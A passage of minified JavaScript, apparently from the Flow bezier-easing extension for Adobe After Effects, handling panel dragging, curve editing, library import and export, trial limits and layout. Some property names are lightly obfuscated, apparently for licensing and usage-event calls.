            slideUpHide: t,
            slideDownShow: i
        }
    }(),
    Divider = function() {
        function A() {
            return Prefs.get("isPortrait") ? jQuery(window).height() : jQuery(window).width()
        }

        function e() {
            var e = i() + 10,
                t = A();
            e > t && Layout.updateLayout(t - 10)
        }

        function t(A) {
            Prefs.get("isPortrait") ? jQuery("#divider").css("top", A + "px") : jQuery("#divider").css("left", A + "px")
        }

        function i() {
            return Prefs.get("isPortrait") ? parseFloat(jQuery("#divider").css("top")) : parseFloat(jQuery("#divider").css("left"))
        }

        function r() {
            Log.trace("\u2192 Divider.dragDivider"), Globals.dividerDraggable ? Globals.isBeingDragged = !0 : !Globals.dividerDraggable && Prefs.get("graphHidden") && (Prefs.get("isPortrait") ? Animators.slideDownShow() : Animators.slideRightShow()), Log.trace("\u2190 Divider.dragDivider")
        }

        function o(e) {
            if (Log.trace("\u2192 Divider.doWhileDragging"), !Globals.isBeingDragged || !Globals.dividerDraggable) return void Log.trace("\u2190 Divider.doWhileDragging: Not dragged or draggable");
            var t = 0;
            if (Prefs.get("isPortrait")) {
                if (t = Util.linearMapWithClamp(e.clientY - 5, 0, A() - 12, 0, A() - 12), e.clientY - 5 > A() - 12) return void Log.trace("\u2190 Divider.doWhileDragging: Portrait: Y too high");
                if (!Prefs.get("graphHidden") && t < Globals.dragTriggers.portraitGraph()) return Animators.slideUpHide(), Globals.dividerDraggable = !1, Globals.isBeingDragged = !1, void Log.trace("\u2190 Divider.doWhileDragging: Portrait: Starting vacuum")
            } else {
                if (t = Util.linearMapWithClamp(e.clientX - 5, 0, A() - 12, 0, A() - 12), e.clientX - 5 > A() - 12) return void Log.trace("\u2190 Divider.doWhileDragging: Landscape: X too high");
                if (!Prefs.get("graphHidden") && t < Globals.dragTriggers.landscapeGraph()) return Animators.slideLeftHide(), Globals.dividerDraggable = !1, Globals.isBeingDragged = !1, void Log.trace("\u2190 Divider.doWhileDragging: Landscape: Starting vacuum")
            }
            Layout.updateLayout(t), Log.trace("\u2190 Divider.doWhileDragging")
        }

        function n() {
            Log.trace("\u2192 Divider.onDragDivider"), r(), Globals.isBeingDragged && jQuery(document).mousemove(o).on("mouseup", function() {
                Globals.isBeingDragged = !1, jQuery(document).off("mousemove"), jQuery(document).off("mouseup")
            }), Log.trace("\u2190 Divider.onDragDivider")
        }
        return {
            affixDivider: e,
            setDividerPos: t,
            getDividerPos: i,
            dragDivider: r,
            onDragDivider: n
        }
    }(),
    EventHandlers = function() {
        function A() {
            Log.trace("\u2192 EventHandlers.initEventHandlers"), jQuery(document).scroll(function() {
                jQuery(document).scrollTop(0), jQuery(document).scrollLeft(0)
            }), jQuery(".btn").mouseup(function() {
                jQuery(this).blur()
            }), jQuery(window).resize(function() {
                Log.trace("\u2192 EventHandlers: window.resize"), Layout.checkResized(), Log.trace("\u2190 EventHandlers: window.resize")
            }), jQuery("#divider").dblclick(function() {
                Log.trace("\u2192 EventHandlers: divider.dblclick"), Layout.resetPanelSizes(), Log.trace("\u2190 EventHandlers: divider.dblclick")
            }), jQuery("#divider").mousedown(function() {
                Log.trace("\u2192 EventHandlers: divider.mousedown"), Divider.onDragDivider(), Log.trace("\u2190 EventHandlers: divider.mousedown")
            }), jQuery("#P1, #P2").mousedown(function(A) {
                Log.trace("\u2192 EventHandlers: p1p2.mousedown"), GraphInteraction.doGraphDrag(A), Log.trace("\u2190 EventHandlers: p1p2.mousedown")
            }), jQuery("#curve").click(function(A) {
                Log.trace("\u2192 EventHandlers: curve.click"), GraphInteraction.doGraphClick(A), Log.trace("\u2190 EventHandlers: curve.click")
            }), jQuery("#btn_readKeyValues").click(function(A) {
                Log.trace("\u2192 EventHandlers: readKeyValues.click"), AE.readKeyValues(A), Log.trace("\u2190 EventHandlers: readKeyValues.click")
            }), jQuery("#btn_editBezierValues").click(function(A) {
                Log.trace("\u2192 EventHandlers: editBezierValues.click"), t(), Log.trace("\u2190 EventHandlers: editBezierValues.click")
            }), jQuery("#btn_saveCurve").click(function(A) {
                Log.trace("\u2192 EventHandlers: saveCurve.click"), o(), Log.trace("\u2190 EventHandlers: saveCurve.click")
            }), jQuery("#applyOptionsRow label").click(function() {
                var A = jQuery(this).closest("div").attr("id");
                Prefs.set(A, jQuery(this).children(0).val())
            }), jQuery("#btn_applyToKeys").click(function(A) {
                Log.trace("\u2192 EventHandlers: applyToKeys.click"), UI.enableEaseDirectionButtons(A), Log.trace("\u2190 EventHandlers: applyToKeys.click")
            }), jQuery("#btn_applyToExpression").click(function(A) {
                Log.trace("\u2192 EventHandlers: applyToExpression.click"), UI.disableEaseDirectionButtons(A), Log.trace("\u2190 EventHandlers: applyToExpression.click")
            }), jQuery("#btn_applyValues").click(function(A) {
                Log.trace("\u2192 EventHandlers: applyValues.click"), AE.applyCurve(A), Log.trace("\u2190 EventHandlers: applyValues.click")
            }), jQuery("[name=currentLibrary]").change(function(A) {
                Log.trace("\u2192 EventHandlers: currentLibrary.change"), i(), Log.trace("\u2190 EventHandlers: currentLibrary.change")
            }), jQuery("#btn_clearLib").click(function(A) {
                Log.trace("\u2192 EventHandlers: clearLib.click"), n(), Log.trace("\u2190 EventHandlers: clearLib.click")
            }), jQuery("#btn_import").click(function(A) {
                Log.trace("\u2192 EventHandlers: import.click"), s(), Log.trace("\u2190 EventHandlers: import.click")
            }), jQuery("#btn_export").click(function(A) {
                Log.trace("\u2192 EventHandlers: export.click"), a(), Log.trace("\u2190 EventHandlers: export.click")
            }), jQuery("#btn_libIconSizeUpBtn").click(function() {
                Log.trace("\u2192 EventHandlers: libIconSizeUpBtn.click"), Globals.bezierLibrary.updatateLibItemSize(Globals.libraryItemLimits.step), Log.trace("\u2190 EventHandlers: libIconSizeUpBtn.click")
            }), jQuery("#btn_libIconSizeDnBtn").click(function() {
                Log.trace("\u2192 EventHandlers: libIconSizeDnBtn.click"), Globals.bezierLibrary.updatateLibItemSize(-Globals.libraryItemLimits.step), Log.trace("\u2190 EventHandlers: libIconSizeDnBtn.click")
            }), jQuery("#library").sortable({
                delay: 250,
                update: function() {
                    Globals.bezierLibrary.reorderItems(), UI.initializeTooltips()
                }
            }), Log.trace("\u2190 EventHandlers.initEventHandlers")
        }

        function e() {
            jQuery(".libButton").click(function(A) {
                if (A.shiftKey || A.metaKey || A.ctrlKey) return !1
            })
        }

        function t() {
            Log.trace("\u2192 EventHandlers.doEditValues"), swal(jQuery.extend(SwalConfig.editValues, {
                inputValue: Globals.bezier.coordinates.toString().replace(/,/g, ", ")
            }), function(A) {
                if (!1 === A) return !1;
                A.match(/^http:\/\/cubic-bezier.com\/\#/) && (A = A.replace(/^http:\/\/cubic-bezier.com\/\#/, "")), A.match(/\s/) && (A = A.replace(/\s/g, ""));
                var e = A.split(",");
                if (4 !== e.length || !1 === Util.checkInputValue(e)) return swal.showInputError("Wrong input values."), !1;
                var t = jQuery(".graph").width();
                e[0] = Util.linearMap(e[0], 0, 1, 0, t), e[1] = Util.linearMap(e[1], 1, 0, 0, t), e[2] = Util.linearMap(e[2], 0, 1, 0, t), e[3] = Util.linearMap(e[3], 1, 0, 0, t), Globals.P1.style.prop({
                    left: e[0] + "px",
                    top: e[1] + "px"
                }), Globals.P2.style.prop({
                    left: e[2] + "px",
                    top: e[3] + "px"
                }), GraphInteraction.updateGraph(), Globals.bezierLibrary.deselectThumbnail(), Prefs.get("autoApplyCurve") && AE.applyCurve(), swal.close()
            }), Globals.aesp[function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 31 - t)
                }).join("")
            }(14, 156, 142) + 495029..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 1 - t)
                }).join("")
            }(34, 140) + 460..toString(36).toLowerCase()].event("Edit Bezier Values"), Log.trace("\u2190 EventHandlers.doEditValues")
        }

        function i() {
            Log.trace("\u2192 EventHandlers.updateCurrentLibrary");
            var A = jQuery("[name='currentLibrary']:checked").val();
            "default" === A ? jQuery("#libraryIORow").addClass("hidden") : jQuery("#libraryIORow").removeClass("hidden"), Globals.bezierLibrary.filter(A), EventHandlers.initializeDisabledModifiers(), UI.initializeTooltips(), Log.trace("\u2190 EventHandlers.updateCurrentLibrary")
        }

        function r() {
            Log.trace("\u2192 EventHandlers.onAppThemeColorChanged");
            var A = JSON.parse(window.__adobe_cep__.getHostEnvironment()).appSkinInfo;
            clearTimeout(Globals.themeColorTimer), Globals.themeColorTimer = setTimeout(function() {
                ThemeManager.updateThemeWithAppSkinInfo(A), GraphInteraction.updateLastGraph(Globals.lastBezierCanvas.bezier.coordinates)
            }, 250), Log.trace("\u2190 EventHandlers.onAppThemeColorChanged")
        }

        function o() {
            Log.trace("\u2192 EventHandlers.saveFromGraph");
            var A = Globals.bezierLibrary,
                e = Prefs.get("showAlerts");
            if ("Trial" === Config.license) {
                if (A.curves.length >= Globals[function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 47 - t)
                        }).join("")
                    }(17, 164, 171, 179, 180) + 21..toString(36).toLowerCase() + 28..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -39)
                    }).join("") + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 37 - t)
                        }).join("")
                    }(39, 183, 186, 181) + 29..toString(36).toLowerCase()]) return swal(jQuery.extend(SwalConfig.save.trialLimitation, {
                    text: "Trial is limited to " + Globals[function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 8 - t)
                        }).join("")
                    }(60, 168, 175, 183, 184) + 21..toString(36).toLowerCase() + 28..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -39)
                    }).join("") + 18..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 23 - t)
                        }).join("")
                    }(24, 153, 156) + 29..toString(36).toLowerCase()] + " custom cuves. Buy Flow to unlock restrictions."
                }), function() {
                    swal.close(), Globals.aesp[function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 20 - t)
                        }).join("")
                    }(59, 192, 190) + 527..toString(36).toLowerCase() + 20..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -39)
                    }).join("") + 853548..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 48 - t)
                        }).join("")
                    }(44, 172, 195) + 23..toString(36).toLowerCase() + 32..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -39)
                    }).join("") + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 61 - t)
                        }).join("")
                    }(14, 172) + 590..toString(36).toLowerCase()]("about")
                }), Log.trace("\u2190 EventHandlers.saveFromGraph: Trial limit hit."), !1
            }
            var t = A.curves,
                i = A.currentLibrary;
            "default" === i && (i = Globals.userLibName, t = A.getFilteredCurves(i)), swal(jQuery.extend(SwalConfig.save.confirm, {
                text: "Graph values:\n" + Globals.bezier.coordinates.toString().replace(/,/g, ", ")
            }), function(r) {
                return !1 !== r && ("" === r ? (swal.showInputError("Give it a name."), !1) : A.getUserLibrary(i).some(function(A) {
                    return A.name === r
                }) ? (swal.showInputError("This name is taken."), !1) : (A.add(r, Globals.bezier), t.push({
                    name: r,
                    curve: Globals.bezier.coordinates
                }), A.save(t, i), !0 === e ? swal(jQuery.extend(SwalConfig.save.success, {
                    text: 'Preset "' + r + '" saved to library.'
                })) : swal.close(), A.selectedThumbName = r, Prefs.set("currentSelectedThumbName", A.selectedThumbName), A.deselectedThumbName = "", void A.render(r)))
            }), Globals.aesp[function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 28 - t)
                }).join("")
            }(52, 177) + 838..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 56 - t)
                }).join("")
            }(14, 192, 178) + 29..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 56 - t)
                }).join("")
            }(2, 163) + 12..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 53 - t)
                }).join("")
            }(61, 229)].event("Save Curve"), Log.trace("\u2190 EventHandlers.saveFromGraph")
        }

        function n() {
            Log.trace("\u2192 EventHandlers.clearLibrary");
            var A = Globals.bezierLibrary;
            swal(SwalConfig.clear.confirm, function() {
                for (var e = document.getElementsByClassName("libButton"), t = e.length; t--;) A.save([], A.currentLibrary), A.curves = [], A.render();
                swal(SwalConfig.clear.success)
            }), Globals.aesp[383..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 20 - t)
                }).join("")
            }(28, 145) + 21..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 28 - t)
                }).join("")
            }(28, 158, 163, 173, 177) + 28..toString(36).toLowerCase()].event("Clear Library"), Log.trace("\u2190 EventHandlers.clearLibrary")
        }

        function s() {
            if (Log.trace("\u2192 EventsHandler.importLibrary"), "Trial" === Config.license) return void swal(SwalConfig.import.trialLimitation, function() {
                swal.close(), Globals.aesp[function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 34 - t)
                    }).join("")
                }(36, 180, 142, 183, 173, 183, 181) + 494656..toString(36).toLowerCase() + 31..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -39)
                }).join("") + 23..toString(36).toLowerCase() + 32..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -39)
                }).join("") + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 27 - t)
                    }).join("")
                }(43, 167) + 16..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 27 - t)
                    }).join("")
                }(5, 133)]("about")
            });
            var A = window.cep.fs.showOpenDialogEx(!1, "", "Select Library File", "", ["txt", "flow"]);
            if (0 != A.data.length) {
                var e, t = A.data.toString(),
                    i = window.cep.fs.readFile(t),
                    r = 0,
                    o = [];
                if (0 !== i.err) return void swal(jQuery.extend(SwalConfig.import.error, {
                    text: i.err.toString()
                }));
                try {
                    e = JSON.parse(i.data)
                } catch (A) {
                    return void swal(SwalConfig.import.invalidData)
                }
                if (e instanceof Array) o = e;
                else
                    for (var n in e) e.hasOwnProperty(n) && o.push({
                        name: n,
                        curve: JSON.parse("[" + e[n] + "]")
                    });
                if (0 == (r = o.length)) return void swal(SwalConfig.import.emptyData);
                var s = Globals.bezierLibrary;
                s.getFilteredCurves().length > 0 ? swal(jQuery.extend(SwalConfig.import.confirm, {
                    text: "Do you want to append " + r + " new curves to the library, or replace it completely?"
                }), function(A) {
                    A ? (s.addImportedCurves(o, !1), swal(jQuery.extend(SwalConfig.import.successAppend, {
                        title: "Appended " + r + " items!"
                    }))) : (s.addImportedCurves(o, !0), swal(jQuery.extend(SwalConfig.import.successOverwrite, {
                        text: "Old curves have been removed and the library has been populated with " + r + " new curves."
                    }))), s.save(s.curves, s.currentLibrary), s.render()
                }) : (s.addImportedCurves(o, !1), swal(jQuery.extend(SwalConfig.import.success, {
                    text: "Library has been populated with " + r + " new curves."
                })), s.save(s.curves, s.currentLibrary), s.render()), Globals.aesp[10..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 17 - t)
                    }).join("")
                }(2, 117, 129) + 1024902..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 63 - t)
                    }).join("")
                }(3, 182, 165)].event("Import Curves"), Log.trace("\u2190 EventsHandler.importLibrary")
            }
        }

        function a() {
            if (Log.trace("\u2192 EventsHandler.exportLibrary"),
                "Trial" === Config.license) return void swal(SwalConfig.export.trialLimitation, function() {
                swal.close(), Globals.aesp[32018..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 47 - t)
                    }).join("")
                }(56, 212, 219, 215, 203, 210, 172, 213) + 31..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -39)
                }).join("") + 23..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 39 - t)
                    }).join("")
                }(16, 153, 135) + 590..toString(36).toLowerCase()]("about")
            });
            var A = Globals.bezierLibrary,
                e = A.getFilteredCurves(),
                t = e.length;
            if (0 === t) return void swal(SwalConfig.export.emptyData);
            var i = Prefs.get("showAlerts"),
                r = window.cep.fs.showSaveDialogEx("Export Library", "", ["flow"], A.currentLibrary + ".flow");
            if (r.data.length > 0) {
                var o = JSON.stringify(e, !1, 4),
                    n = r.data; - 1 === n.indexOf(".flow") && (n += ".flow");
                var s = window.cep.fs.writeFile(n, o);
                0 == s.err ? !0 === i && swal(jQuery.extend(SwalConfig.export.success, {
                    text: t + ' library curves saved to file "' + n + '".'
                })) : swal(jQuery.extend(SwalConfig.export.error, {
                    text: s.err.toString()
                }))
            }
            Globals.aesp[function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 5 - t)
                }).join("")
            }(31, 147, 135, 147, 133) + 34..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 24 - t)
                }).join("")
            }(37, 162, 167, 177) + 28..toString(36).toLowerCase()].event("Export Curves"), Log.trace("\u2190 EventsHandler.exportLibrary")
        }
        return {
            initEventHandlers: A,
            initializeDisabledModifiers: e,
            updateCurrentLibrary: i,
            onAppThemeColorChanged: r,
            saveFromGraph: o,
            clearLibrary: n,
            importLibrary: s,
            exportLibrary: a
        }
    }(),
    GraphInteraction = function() {
        function A(A) {
            Log.trace("\u2192 GraphInteraction.doGraphDrag"), Globals.bezierLibrary.deselectThumbnail();
            var e = document.getElementById("curve"),
                t = e.getBoundingClientRect(),
                i = window.pageYOffset,
                n = {
                    yLock: !1,
                    angleLock: !1,
                    lengthLock: !1
                },
                s = {
                    yValue: A.pageY,
                    angle: 0,
                    circlePos: {
                        x: 0,
                        y: 0
                    }
                },
                a = 0,
                I = 0;
            o(Globals.bezier.coordinates), jQuery(document).mousemove(function(e) {
                Log.trace("\u2192 GraphInteraction.doGraphDrag.mousemove");
                var o = e.pageX,
                    l = e.pageY;
                if (0 != o || 0 != l) {
                    var c = (Globals.basePanelSizes.baseCanvas - jQuery(".graph").width()) / 2,
                        B = t.left,
                        g = t.top + i + c,
                        h = t.width / 2 + g;
                    if (o = Math.min(Math.max(B, o), B + t.width), !e.shiftKey || e.metaKey || e.ctrlKey ? n.yLock = !1 : n.yLock ? l = s.yValue : (s.yValue = e.pageY, e.pageY <= h ? s.yValue = g : s.yValue = g + t.width, n.yLock = !0), !e.metaKey && !e.ctrlKey || e.shiftKey) n.lengthLock = !1;
                    else {
                        var E = 1;
                        a = (o - B) / t.width, I = 1 - (l - g) / t.width;
                        var u = {
                            x: B,
                            y: g + t.width
                        };
                        "P2" === A.target.id && (E = -1, a = 1 - (o - B) / t.width, I = (l - g) / t.width, u = {
                            x: B + t.width,
                            y: g
                        });
                        var Q = Math.atan(a / I) - Math.PI / 2;
                        I <= 0 && (Q += Math.PI), s.circlePos.x = u.x + s.length * E * Math.cos(Q), s.circlePos.y = u.y + s.length * E * Math.sin(Q), n.lengthLock ? (o = s.circlePos.x, l = s.circlePos.y) : (s.length = Math.sqrt((u.x - o) * (u.x - o) + (u.y - l) * (u.y - l)), n.lengthLock = !0)
                    }
                    if (e.altKey ? "P1" === A.target.id ? n.angleLock ? l = (o - B) * Math.tan(s.angle) + g + t.width : (a = (o - B) / t.width, I = 1 - (l - g) / t.width, s.angle = Math.atan(a / I) - Math.PI / 2, n.angleLock = !0) : n.angleLock ? l = (o - t.right) * Math.tan(s.angle) + g : (a = 1 - (o - B) / t.width, I = (l - g) / t.width, s.angle = Math.atan(a / I) - Math.PI / 2, n.angleLock = !0) : n.angleLock = !1, e.shiftKey && (e.metaKey || e.ctrlKey)) {
                        var d, f = {
                                x: B,
                                y: g + t.width
                            },
                            S = {
                                x: t.width,
                                y: 0
                            };
                        "P1" === A.target.id ? (d = {
                            x: o - f.x,
                            y: l - f.y
                        }, jQuery("#P2").css("left", S.x - d.x + "px"), jQuery("#P2").css("top", S.y - d.y + "px")) : (d = {
                            x: o - S.x,
                            y: l - S.y
                        }, jQuery("#P1").css("left", f.x - d.x + "px"), jQuery("#P1").css("top", f.y - d.y + "px"))
                    }
                    jQuery(A.target).css("left", o - B + "px"), jQuery(A.target).css("top", l - g + "px"), r(), Log.trace("\u2190 GraphInteraction.doGraphDrag.mousemove")
                }
            }), jQuery(document).mouseup(function() {
                Log.trace("\u2192 GraphInteraction.doGraphDrag.mouseup"), jQuery(A.target.id).focus(), jQuery(document).off("mousemove"), jQuery(document).off("mouseup"), Prefs.get("autoApplyCurve") && AE.applyCurve(), Log.trace("\u2190 GraphInteraction.doGraphDrag.mouseup")
            }), Log.trace("\u2190 GraphInteraction.doGraphDrag")
        }

        function e(A) {
            function e(A, e, t, i) {
                return Math.sqrt(Math.pow(A - t, 2) + Math.pow(e - i, 2))
            }
            Log.trace("\u2192 GraphInteraction.doGraphClick"), Globals.bezierLibrary.deselectThumbnail(), o(Globals.bezier.coordinates);
            var i = document.getElementById("curve"),
                n = i.getBoundingClientRect(),
                s = window.pageYOffset,
                a = (Globals.basePanelSizes.baseCanvas - jQuery(".graph").width()) / 2,
                I = n.left,
                l = n.top + s + a,
                c = A.pageX - I,
                B = A.pageY - l;
            (e(c, B, parseInt(Globals.P1.style.left), parseInt(Globals.P1.style.top)) < e(c, B, parseInt(Globals.P2.style.left), parseInt(Globals.P2.style.top)) ? Globals.P1 : Globals.P2).style.prop({
                left: c + "px",
                top: B + "px"
            }), r(), t(Globals.bezier), Prefs.get("autoApplyCurve") && AE.applyCurve(), Log.trace("\u2190 GraphInteraction.doGraphClick")
        }

        function t(A) {
            Log.trace("\u2192 GraphInteraction.updateLastCoordo: " + String(A));
            var e = [A.coordinates[0], A.coordinates[1], A.coordinates[2], A.coordinates[3]];
            !Util.arraysEqual(e, Prefs.get("currentCoordinates")) && Globals.dividerDraggable && Prefs.set("currentCoordinates", A.coordinates), Log.trace("\u2190 GraphInteraction.updateLastCoordo: " + String(A))
        }

        function i() {
            Log.trace("\u2192 GraphInteraction.updateParams");
            for (var A = Env.env1("h1 code"), e = Env.env2(".param", A), t = Globals.bezier.coordinates.toString().split(","), i = e.length; i--;) e[i].textContent = parseFloat(t[i]).toFixed(2);
            Log.trace("\u2190 GraphInteraction.updateParams")
        }

        function r() {
            Log.trace("\u2192 GraphInteraction.updateGraph");
            var A = Globals.bezierCanvas.offsetsToCoordinates(Globals.P1),
                e = Globals.bezierCanvas.offsetsToCoordinates(Globals.P2);
            Globals.bezierCanvas.bezier = Globals.bezier = new CubicBezier(A.concat(e)), t(Globals.bezier), i(), Globals.bezierCanvas.plot(), Log.trace("\u2190 GraphInteraction.updateGraph")
        }

        function o(A) {
            Log.trace("\u2192 GraphInteraction.updateLastGraph: " + String(A));
            var e = Globals.graphStyle[Prefs.get("flowTheme")].lastGraph;
            Prefs.get("showLastCurve") && !Util.arraysEqual(A, [1, 1, 0, 0]) || (e = {
                bezierColor: e.bezierColor,
                bezierThickness: 1e-4
            }), Globals.lastBezierCanvas.bezier = new CubicBezier(A), Globals.lastBezierCanvas.plot(e, !1), Log.trace("\u2190 GraphInteraction.updateLastGraph")
        }

        function n() {
            Log.trace("\u2192 GraphInteraction.reverseValues");
            var A = Globals.bezier.coordinates.toString().split(","),
                e = jQuery(".graph").width(),
                t = A[0],
                i = A[1],
                o = A[2],
                n = A[3],
                s = 1 - o,
                a = 1 - n,
                I = 1 - t,
                l = 1 - i;
            s = Util.linearMap(s, 0, 1, 0, e), a = Util.linearMap(a, 1, 0, 0, e), I = Util.linearMap(I, 0, 1, 0, e), l = Util.linearMap(l, 1, 0, 0, e), Globals.P1.style.prop({
                left: s + "px",
                top: a + "px"
            }), Globals.P2.style.prop({
                left: I + "px",
                top: l + "px"
            }), r(), Globals.bezierLibrary.deselectThumbnail(), Prefs.get("autoApplyCurve") && AE.applyCurve(), Log.trace("\u2190 GraphInteraction.reverseValues")
        }
        return {
            doGraphDrag: A,
            doGraphClick: e,
            updateLastCoordo: t,
            updateParams: i,
            updateGraph: r,
            updateLastGraph: o,
            reverseValues: n
        }
    }(),
    Layout = function() {
        function A(A) {
            var e = A / 196,
                t = Prefs.get("flowTheme");
            Globals.graphStyle[t].graph.handleThickness = .01 / e, Globals.graphStyle[t].graph.bezierThickness = .015 / e
        }

        function e() {
            var A = jQuery(A),
                e = jQuery("#app");
            return Math.max(A.height(), e.height()) > Math.max(A.width(), e.width())
        }

        function t() {
            Log.trace("\u2192 Layout.adjustUIElements");
            var A = jQuery("#graphPanel-bottom"),
                t = jQuery("#libraryPanel"),
                i = jQuery("#divider"),
                r = jQuery("#container");
            e() ? (r.addClass("flexCol"), i.addClass("portraitDivider clearPositionLeft"), i.children().addClass("rotateIcon portraitDividerIcon"), t.addClass("clearPositionLeft"), A.removeClass("clearPositionTop"), i.removeClass("clearPositionTop"), t.removeClass("clearPositionTop")) : (r.removeClass("flexCol"), i.removeClass("portraitDivider clearPositionLeft"), i.children().removeClass("rotateIcon portraitDividerIcon"), t.removeClass("clearPositionLeft"), A.addClass("clearPositionTop"), i.addClass("clearPositionTop"), t.addClass("clearPositionTop"));
            var o = jQuery("#libraryNav"),
                n = jQuery("#currentLibrary"),
                s = jQuery("#currentLibrary").children(),
                a = o.find("i"),
                I = jQuery("#libraryNav div"),
                l = I.children(),
                c = jQuery("#libraryNav i"),
                B = jQuery("#libraryIORow"),
                g = B.children(),
                h = jQuery("#libContainer");
            t.height() < Globals.dragTriggers.portraitLibrary ? (a.css("margin", "auto"), a.parent().css({
                display: "-webkit-flex",
                "align-items": "center"
            }), t.addClass("flexRow"), o.addClass("flexRow rightBuffer heightFullPct"), n.addClass("heightFullPct"), B.addClass("heightFullPct"), I.addClass("flexCol clearWidth clearMargin"), l.addClass("clearWidth"), s.addClass("heightFiftyPct"), g.addClass("heightOneThirdPct"), c.addClass("marginTopFifty"), h.addClass("marginTopMinusThree"), jQuery("#btn_export").removeClass("thinBorderLeft thinBorderRight"), jQuery("#btn_export").addClass("thinBorderBottom thinBorderTop"), jQuery("#defaultLibButton").removeClass("thinBorderRight"), jQuery("#defaultLibButton").addClass("thinBorderBottom")) : (a.css("margin", ""), a.parent().css({
                display: "",
                "align-items": ""
            }), t.removeClass("flexRow"), o.removeClass("flexRow rightBuffer heightFullPct"), n.removeClass("heightFullPct"), B.removeClass("heightFullPct"), g.removeClass("heightOneThirdPct"), I.removeClass("flexCol clearWidth clearMargin"), s.addClass("heightFiftyPct"), l.removeClass("clearWidth"), c.removeClass("marginTopFifty"), h.removeClass("marginTopMinusThree"), jQuery("#btn_export").removeClass("thinBorderBottom thinBorderTop"), jQuery("#btn_export").addClass("thinBorderLeft thinBorderRight"), jQuery("#defaultLibButton").removeClass("thinBorderBottom"), jQuery("#defaultLibButton").addClass("thinBorderRight")), UI.toggleLibraryIO(), Log.trace("\u2190 Layout.adjustUIElements")
        }

        function i() {
            Log.trace("\u2192 Layout.adjustFontSizes");
            var A = jQuery("#graphPanel"),
                e = jQuery("#libraryPanel"),
                t = {
                    min: 9,
                    max: 12
                },
                i = {
                    min: 14,
                    max: 21
                },
                r = {
                    min: 10,
                    max: 12
                },
                o = Util.linearMapWithClamp(A.width(), 150, 200, t.min, t.max);
            jQuery("#applyOptionsRow").children().find("label i").css("font-size", o + "px"), jQuery("#values").children().css("font-size", o + "px");
            var n = e.height(),
                s = Util.linearMapWithClamp(n, Globals.dragTriggers.portraitLibrary, 150, 0, 1),
                a = e.width(),
                I = Util.linearMapWithClamp(a, Globals.dragTriggers.landscapeLibrary, 96, 0, 1),
                l = Math.min(s, I),
                c = Util.linearMapWithClamp(l, 0, 1, i.min, i.max),
                B = Util.linearMapWithClamp(l, 0, 1, r.min, r.max);
